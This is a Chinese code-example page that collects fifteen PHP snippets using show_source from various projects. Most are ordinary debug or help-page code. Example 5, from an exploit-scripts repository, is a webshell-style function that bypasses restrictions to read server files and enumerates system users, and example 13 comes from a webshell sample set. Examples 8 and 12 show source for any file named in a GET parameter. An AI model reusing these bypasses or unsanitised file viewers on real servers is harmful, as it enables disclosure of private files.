当前位置: 首页>>代码示例>>PHP>>正文


PHP show_source函数代码示例

本文整理汇总了PHP中show_source函数的典型用法代码示例。如果您正苦于以下问题:PHP show_source函数的具体用法?PHP show_source怎么用?PHP show_source使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了show_source函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: show_source_code

function show_source_code($source_code)
{
    foreach ($source_code as $key => $item) {
        echo "<h2>Titel: " . $key . "</h2>";
        show_source($item);
        echo "<br/>";
    }
}
开发者ID:JohanVergeerFontys,项目名称:iwp1,代码行数:8,代码来源:functions.php

示例2: page_main

function page_main()
{
    topform();
    $txt = show_source(__FILE__);
    tableit($txt);
    echo '<hr> Debug Script <hr>';
    show_source(__FILE__);
    phpinfo();
    return 1;
}
开发者ID:BackupTheBerlios,项目名称:odp-svn,代码行数:10,代码来源:debug.php

示例3: breakpoint

/**
 * BreakPoint
 *
 * Depura el contenido de una variable y depura el valor llamado.
 *
 * Ahora se puede seleccionar si se desea que se muestre el código fuente de una funcion o si no.
 * V 1.2: Para que funcione, ahora debe estar la variable:
 *		[APP::$debug = true]
 *
 * @author Adrián Méndez <bin.cat.service@gmail.com>
 * @Version 1.2
 * @Date 18/09/2015
 */
function breakpoint($var, $show_source = false)
{
    if (class_exists('APP') and APP::$debug == false) {
        return true;
    }
    $break = debug_backtrace();
    debug($var, true, $break);
    if (isset($this)) {
        unset($this);
    }
    if ($show_source) {
        show_source($break[0]['file']);
    }
    die('Fin del Brakepoint: ' . date('Y-m-d H:i:s'));
}
开发者ID:Bincat,项目名称:MVC,代码行数:28,代码来源:Debugging.inc.php

示例4: content

module dependency resolution and provides module methods accessible to external <br/>
modules. Please see module system source code below.</li>
<li>Module - level - takes care of end-user side application requirements. </li>
</ol>
<p>For forms processing, the general steps used are:
<ol>
<li>Scripts are executed as follows: <b>form_&lt;name&gt;</b> -> <b>process_&lt;name&gt;</b> -> <b>display_&lt;name&gt;</b></li>
<li>A form is displayed, then the end-user fills it up and submits it. Form and <br />
URL variables are passed to the processing script for validation and database entry.</li>
<li>Database tables are displayed.</li>
</ol>
The developer will find this extensively used throughout the internal and external modules.
</p>

Please browse through any of the available module's source code <a href="index.php?page=MODULES&method=MODDB">here</a>.
</p>
<h3>MODULE DATA MODEL</h3>
<p>This is the first-tier data model in the GAME platform. Second-tier data models<br />
are the content (data) of the module data model. What the first-tier data model <br />
contains, in short, is meta-data about the loaded modules and how they relate to one <br />
another.</p>
<img src="../images/game_model.png" border="0"/>

<h3>MODULE CLASS SOURCE CODE</h3>
<small>
<?php 
show_source("../class.module.php");
?>
</small>
</td></tr></table>
开发者ID:wahgithub,项目名称:chits_wah_emr,代码行数:30,代码来源:module.help.php

示例5: readFileTKL

function readFileTKL ($function_tkl,$pwd) {

switch($function_tkl){
case "show_source":
htmlspecialchars(show_source($pwd));
break;
case "readfile":
htmlspecialchars(readfile($pwd));
break;
case "include":
htmlspecialchars(include $pwd);
break;
case "fpassthru":
$fp = fopen($pwd, 'r');
htmlspecialchars(fpassthru($fp));
break;
case "file":
$output = file($pwd);
foreach( $output as $line )
{
    echo htmlspecialchars($line . "\n");
}
break;
case "highlight_file":
htmlspecialchars(highlight_file($pwd));
break;
case "curl":
$tkl_cu =
curl_init("file:///".$pwd."\x00/../../../../../../../../../../../../".__FILE__);
curl_exec($tkl_cu);
htmlspecialchars(var_dump(curl_exec($tkl_cu)));
break;
case "posix_getpwuid":
for($uid=0;$uid<2000;$uid++){
$gaza_ar = posix_getpwuid($uid);
if (!empty($gaza_ar)) {
while (list ($key, $val) = each($gaza_ar)){
print "$val:";
 }
 print "\n";
 }
}
break;
case "copy":
$tmp=tempnam($ooopo, "cx");
if(copy("compress.zlib://".$pwd, $tmp)){
$ioio = fopen($tmp, "r");
echo fread($ioio, filesize($tmp));
fclose($ioio);
unlink($tmp);
};
break;
case "fgets":
$handle = @fopen($pwd, "r");
if ($handle) {
    while (($buffer = fgets($handle, 4096)) !== false) {
        echo  $gaza_file.$buffer;
    }
    fclose($handle);
}
break;
case "file_get_contents":
echo file_get_contents($pwd);

break;
case "fread":
$handle = fopen($pwd, "r");
echo  fread($handle, filesize($pwd));
fclose($handle);
break;
case "stream_get_contents":
if ($stream = fopen($pwd, 'r')) {
     echo  stream_get_contents($stream, -1, 10);
    fclose($stream);
}
break;
}
}
开发者ID:plirof,项目名称:php-exploit-scripts,代码行数:78,代码来源:g31.php

示例6: print_string

    $XMLGenerator->AddNode("Rights_CopyrightAndOtherRestrictions", "\r\n\t<copyrightAndOtherRestrictions>\r\n\t<source>\r\n\t\t\t<string language=\"none\">LOMv1.0</string>\r\n\t\t</source>\r\n\t\t<value>\r\n\t\t\t<string language=\"none\">", "</string>\r\n\t\t</value>\r\n\t</copyrightAndOtherRestrictions>");
    $XMLGenerator->AddNode("Rights_Description", "\r\n\t<description>\r\n\t\t<string language=\"pt\">", "</string>\r\n\t</description>");
    $XMLGenerator->AddNode("Relation_Kind", "</rights>\r\n<relation>\r\n\t<kind>\r\n\t\t<source>\r\n\t\t\t<string language=\"none\">LOMv1.0</string>\r\n\t\t</source>\r\n\t\t<value>\r\n\t\t\t<string language=\"none\">", "</string>\r\n\t\t</value>\r\n\t</kind>");
    $XMLGenerator->AddNode("Relation_Resource_Identifier_Catalog", "\r\n\t<resource>\r\n\t\t<identifier>\r\n\t\t\t<catalog>", "</catalog>");
    $XMLGenerator->AddNode("Relation_Resource_Identifier_Entry", "\r\n\t\t\t<entry>", "</entry>\r\n\t\t</identifier>");
    $XMLGenerator->AddNode("Relation_Resource_Description", "\r\n\t\t<description>\r\n\t\t\t<string language=\"pt\">", "</string>\r\n\t\t</description>");
    $XMLGenerator->AddNode("Annotation_Entity", "\r\n\t</resource>\r\n</relation>\r\n<annotation>\r\n\t<entity>[BEGIN:VCARD", "END:VCARD]\r\n\t</entity>");
    $XMLGenerator->AddNode("Annotation_Date", "\r\n\t<date>\r\n\t\t<dateTime>", "</dateTime>\r\n\t</date>");
    $XMLGenerator->AddNode("Annotation_Description", "\r\n\t<description>\r\n\t\t<string language=\"pt\">", "</string>\r\n\t</description>");
    $XMLGenerator->AddNode("Classification_Purpose", "\r\n</annotation>\r\n<classification>\r\n\t<purpose>\r\n\t\t<source>\r\n\t\t\t<string language=\"none\">LOMv1.0</string>\r\n\t\t</source>\r\n\t\t<value>\r\n\t\t\t<string language=\"none\">", "</string>\r\n\t\t</value>\r\n\t</purpose>");
    $XMLGenerator->AddNode("Classification_TaxonPath_Source", "\r\n\t<taxonPath>\r\n\t\t<source>\r\n\t\t\t<string language=\"none\">", "</string>\r\n\t\t</source>");
    $XMLGenerator->AddNode("Classification_TaxonPath_Taxon_ID", "\r\n\t\t<taxon>\r\n\t\t\t<id>", "</id>");
    $XMLGenerator->AddNode("Classification_TaxonPath_Taxon_Entry", "\r\n\t\t\t<entry>\r\n\t\t\t\t<string language=\"pt\">", "</string>\r\n\t\t\t</entry>\r\n\t\t</taxon>\r\n\t</taxonPath>");
    $XMLGenerator->AddNode("Classification_Keyword", "\r\n\t<keyword>\r\n\t\t<string language=\"pt\">", "</string>\r\n\t</keyword>");
    $XMLGenerator->AddNode("Classification_Description", "\r\n\t<description>\r\n\t\t<string language=\"pt\">", "</string>\r\n\t</description>\r\n</classification>");
    /*
    GetXML returns the XML for further processing
    */
    $xml = $XMLGenerator->GetXML();
    /*
    EchoXML directly echos the XML out.
    */
    //$XMLGenerator->EchoXML();
    $XMLGenerator->SaveXML();
    //O ficheiro xml a mostrar deve ter o mesmo nome do ficheiro xml em mysql2lom
    echo "<br>";
    echo print_string("metadatagenok", "metadatalom");
    echo "<hr>";
    show_source($CFG->dataroot . "/" . $cid . "/metadata/lommetadata_" . $cid . "_" . $loid . ".xml");
    echo "<hr>";
}
开发者ID:hmatulis,项目名称:RTL-BIDI-Hebrew-Moodle-Plugins,代码行数:31,代码来源:slom.php

示例7: renderhtaccess

 public static function renderhtaccess()
 {
     self::renderHeader('.htaccess');
     ?>
     <div class="postbox" id="mainwp-code-display">
         <h3 class="mainwp_box_title"><span><i class="fa fa-file-code-o"></i> .htaccess</span></h3>
         <div class="inside">
         <?php 
     show_source(ABSPATH . '.htaccess');
     ?>
         </div>
     </div>
     <?php 
     self::renderFooter('.htaccess');
 }
开发者ID:HasClass0,项目名称:mainwp,代码行数:15,代码来源:MainWPServerInformation.page.php

示例8: basename

<!-- Cap01/muestra_codigo.php -->
<html>
<head>
   <title>Muestra Código</title>
</head>
<body>
<?php 
// Determinamos el fichero a mostrar
if (empty($_GET['fich'])) {
    $fichero = basename($_SERVER['SCRIPT_NAME']);
} else {
    $fichero = $_GET['fich'];
}
// Si existe el fichero se muestra su contenido
if (file_exists($fichero)) {
    echo "Contenido del fichero: <b>{$fichero}</b>\n<hr />\n";
    show_source($fichero);
} else {
    echo "El fichero '{$fichero}' no existe";
}
?>
</body>
</html>
开发者ID:EscalanteJulian18,项目名称:Cap01_PHP,代码行数:23,代码来源:muestra_codigo.php

示例9: renderhtaccess

 public static function renderhtaccess()
 {
     ?>
     <div class="postbox" id="mainwp-code-display">
         <h3 class="hndle" style="padding: 8px 12px; font-size: 14px;"><span>.htaccess</span></h3>
         <div style="padding: 1em;">
         <?php 
     @show_source(ABSPATH . '.htaccess');
     ?>
         </div>
     </div>
     <?php 
 }
开发者ID:avijitdeb,项目名称:flatterbox.com,代码行数:13,代码来源:MainWPChildServerInformation.class.php

示例10: stderr

if (!in_array($CURUSER['id'], $allowed_ids))
    stderr('Error', 'Access Denied!');
*/
if ($INSTALLER09['staff_viewcode_on'] == true) {
    $THIS_FILE = "view.php";
    if (isset($_GET["file"])) {
        $file = $_GET["file"];
    } else {
        $file = $THIS_FILE;
    }
    if (!preg_match('/\\.\\.\\//', $file)) {
        $fullFilename = "C:\\AppServ/www/{$file}";
        /** CHANGE THIS LINE TO YOUR PATH **/
    }
    $path_parts = pathinfo("{$fullFilename}");
    if (isset($fullFilename) && is_file($fullFilename) && is_readable($fullFilename) && $path_parts["extension"] == "php") {
        $HTMLOUT .= '<div class="source">';
        show_source($fullFilename);
        $HTMLOUT .= '</div>';
    } elseif (!isset($fullFilename)) {
        $HTMLOUT .= '<p>Hey, wise guy!  What do you think youre doing?  Tampering with the filename is not allowed.  Go hack somebody elses web server, and leave me alone.  Punk.</p>';
    } elseif ($path_parts["extension"] != "php") {
        $HTMLOUT .= '<p>Whoops!  You can only view the source of files with a .php extension.  It wouldnt make sense to view the source of, say, an image, now would it?</p>';
    }
} else {
    $HTMLOUT = '';
    $HTMLOUT .= "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\r\n    \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\r\n    <html xmlns='http://www.w3.org/1999/xhtml'>\r\n    <head>\r\n    <title>Sorry</title>\r\n    </head>\r\n    <body><div style='font-size:33px;color:white;background-color:red;text-align:center;'>View source code option disabled currently !!</div></body></html>";
    print $HTMLOUT;
    exit;
}
print $HTMLOUT;
开发者ID:CharlieHD,项目名称:U-232-V2,代码行数:31,代码来源:view.php

示例11: test

    $type = 'Access Apache 2.2 with virtual host referer and user agent';
    $log = 'potsky.com 62.129.4.154 - rb [19/Dec/2013:16:11:22 +0100] "POST /P1mpmyL0g-dev/inc/getlog.pml.php?1387465882519 HTTP/1.1" 200 7660 "https://home.potsky.com/P1mpmyL0g-dev/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_1) AppleWebKit/537.73.11 (KHTML, like Gecko) Version/7.0.1 Safari/537.73.11"';
    echo test($type, $regex, $match, $types, $log);
    $type = 'Access Apache 2.2 with tuning options';
    $log = '62.129.4.154 - - [29/Nov/2013:18:13:22 +0100] "GET /PimpMyLogs/inc/getlog.pml.php?ldv=true&file=access&max=20 HTTP/1.1" 500 96 "http://www.potsky.com/PimpMyLogs/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9) AppleWebKit/537.71 (KHTML, like Gecko) Version/7.0 Safari/537.71" 10/10003980';
    echo test($type, $regex, $match, $types, $log);
    $type = 'Access Apache 2.2 dummy SSL connection';
    $log = '::1 - - [27/Nov/2013:12:02:08 +0100] "OPTIONS * HTTP/1.0" 200 - "-" "Apache/2.2.25 (Unix) mod_ssl/2.2.26 OpenSSL/1.0.1e DAV/2 PHP/5.3.27 (internal dummy connection)"';
    echo test($type, $regex, $match, $types, $log);
    ?>
</div></div><div class="tab-pane" id="configurationtab"><div class="panel-body"><div class="panel-group" id="accordion2"><div class="panel panel-default"><div class="panel-heading"><h4 class="panel-title"><a data-toggle="collapse" data-parent="#accordion2" href="#collapseOne2">Code <code><?php 
    echo get_config_file_path();
    ?>
</code></a></h4></div><div id="collapseOne2" class="panel-collapse collapse"><div class="panel-body"><pre><?php 
    if (file_exists(get_config_file_path())) {
        show_source(get_config_file_path());
    } else {
        echo 'configuration file does not exist';
    }
    ?>
</pre></div></div></div><div class="panel panel-default"><div class="panel-heading"><h4 class="panel-title"><a data-toggle="collapse" data-parent="#accordion2" href="#collapseTwo2">Stats <code><?php 
    echo get_config_file_path();
    ?>
</code></a></h4></div><div id="collapseTwo2" class="panel-collapse collapse"><div class="panel-body"><pre><?php 
    if (file_exists(get_config_file_path())) {
        var_export(@stat(get_config_file_path()));
    } else {
        echo 'configuration file does not exist';
    }
    ?>
</pre></div></div></div><div class="panel panel-default"><div class="panel-heading"><h4 class="panel-title"><a data-toggle="collapse" data-parent="#accordion2" href="#collapseFive2"><?php 
开发者ID:abhijith444,项目名称:enroll,代码行数:31,代码来源:test.php

示例12: showSource

 /**
  * 查看指定文件到源码
  * 极度危险,产品上线后切记关掉调试信息
  */
 public function showSource()
 {
     hc();
     show_source($_GET['file']);
 }
开发者ID:cloklo,项目名称:CxWoole,代码行数:9,代码来源:CxBug.php

示例13: callshsrc

function callshsrc($showsc)
{
    if (isset($showsc) && filesize($showsc) == "0") {
        print "<p><b>[ Sorry, U choosed an empty file or the file not exists ]";
        die;
    } elseif (isset($showsc) && filesize($showsc) !== "0") {
        print "<p><table width=100% height=10% bgcolor=#dadada border=1><tr><td>";
        if (!show_source($showsc) || !function_exists('show_source')) {
            print "<center><font color=black size=2><b>[ Sorry can't complete the operation ]</font></center>";
            die;
        }
        print "</td></tr></table>";
        die;
    }
}
开发者ID:retanoj,项目名称:webshellSample,代码行数:15,代码来源:fb50a1637e7add60d78b7f6205e3f14f.php

示例14: exit_permission_denied

 */
require_once 'env.inc.php';
require_once $gfwww . 'include/pre.php';
global $sys_show_source;
if (!$sys_show_source) {
    exit_permission_denied();
}
$file = getStringFromRequest('file');
if (!$file) {
    exit_error(_('Missing File Argument'), _('A file must be specified for this page.'));
}
if (strstr($file, '..')) {
    exit_error(_('Invalid File Argument'), _('The file argument is invalid.'));
}
$dir = dirname($file);
// If this is a legal dir, then it is under the docroot, else use basename
if ($dir) {
    $fname = getStringFromServer('DOCUMENT_ROOT') . $file;
} else {
    $fname = basename($file);
}
if (!file_exists($fname) || @is_dir($fname)) {
    exit_error(_('File Not Found'), _('Cannot find specified file to display.'));
}
$HTML->header(array('title' => sprintf(_('Source of %1$s'), $file)));
show_source($fname);
$HTML->footer(array());
// Local Variables:
// mode: php
// c-file-style: "bsd"
// End:
开发者ID:neymanna,项目名称:fusionforge,代码行数:31,代码来源:source.php

示例15: _module

	/**
	 * main function for module
	 *
	 * @param array $post_vars Post Variables
	 * @param array $get_vars Get Variables
	 * @param array $post_files File Submission Data
	 * @param boolean $validuser valid user flag
	 * @param boolean $isadmin admin user flag
	 * @todo describe the functionality of the function in this documentation block
	 */
	function _module() {

		if (func_num_args()>0) {
			$this->arg_list = func_get_args();
			$this->post_vars = $this->arg_list[0];
			$this->get_vars = $this->arg_list[1];
			$this->post_files = $this->arg_list[2];  // comes from index.php
			$this->validuser = $this->arg_list[3];
			$this->isadmin = $this->arg_list[4];
		}

		$module = new module;

		switch ($this->get_vars["method"]) {
			case "SQL":
				if ($this->post_vars["submitsql"]) {
					$module->process_module_sql($this->post_vars, $this->get_vars, $this->post_files);
				}
				$module->form_module_sql($this->post_vars, $this->get_vars);
				break;
			case "LOC":
				if ($this->post_vars["submitaccess"]) {
					$module->process_permissions($this->post_vars, $this->get_vars);
				}
				$module->form_locations($this->post_vars, $this->get_vars);
				break;
			case "MENU":
				if ($this->get_vars["moveup"] || $this->get_vars["movedown"]) {
					$module->process_order($this->post_vars, $this->get_vars);
					//header("location: ".$_SERVER["PHP_SELF"]."?page=MODULES&method=MENU");
				}
				$module->form_menuorder($this->post_vars, $this->get_vars);
				break;
			case "HELP":
				site::display_file("../module.help.php");
				print "<h3>MODULE CLASS SOURCE CODE</h3>";
				print "<small>";
				show_source("../class.module.php");
				print "</small>";
				break;
			case "PERMS":
				if ($this->post_vars["submitaccess"]) {
					$module->process_permissions($this->post_vars, $this->get_vars);
				}
				$module->form_permissions($this->post_vars, $this->get_vars);
				break;
			case "INIT":
				if ($this->post_vars["submitinitmod"]=="Update Activation Status") {
					$module->process_initmodule($this->post_vars);
					// comment out line below for debugging
					// while developing modules
					//header("location: ".$_SERVER["PHP_SELF"]."?page=MODULES&method=INIT&initmod=1");
				}
				// module activation
				$module->form_initmodule();
				break;
			case "MODDB":
			default:
				switch ($this->post_vars["submitmodule"]) {
					case "Yes, Delete Module":
						$module->delete_module($this->post_vars);
						header("location: ".$_SERVER["PHP_SELF"]."?page=MODULES");
						break;
					case "Delete Module":
						print "<font color='red' size='3'><b>Are you sure you want to DELETE this module?</b></font>";
						$module->form_module($this->get_vars, $this->post_vars);
						break;
					case "Add Module":
					default:
						// Commented off by Aditya Naik for v1.9
						//if ($module_id = $module->process_module($this->post_vars, $this->post_files)) {
							// comment out line below for debugging
							// while developing modules
							//header("location: ".$_SERVER["PHP_SELF"]."?page=MODULES");
							//print "hello";
						//}

						// Added by Aditya Naik for v1.9
						// Moved out of the empty if loop
						$module_id = $module->process_module($this->post_vars, $this->post_files);

						// Added by Aditya Naik for v1.9
						// this will send the module id of the newly installed
						// module to the form module function
						$module->form_module($this->get_vars, $this->post_vars, $module_id);
					$module->display_modules();
				}
		}
	}
开发者ID:BackupTheBerlios,项目名称:chits-svn,代码行数:99,代码来源:class.module.php


注:本文中的show_source函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。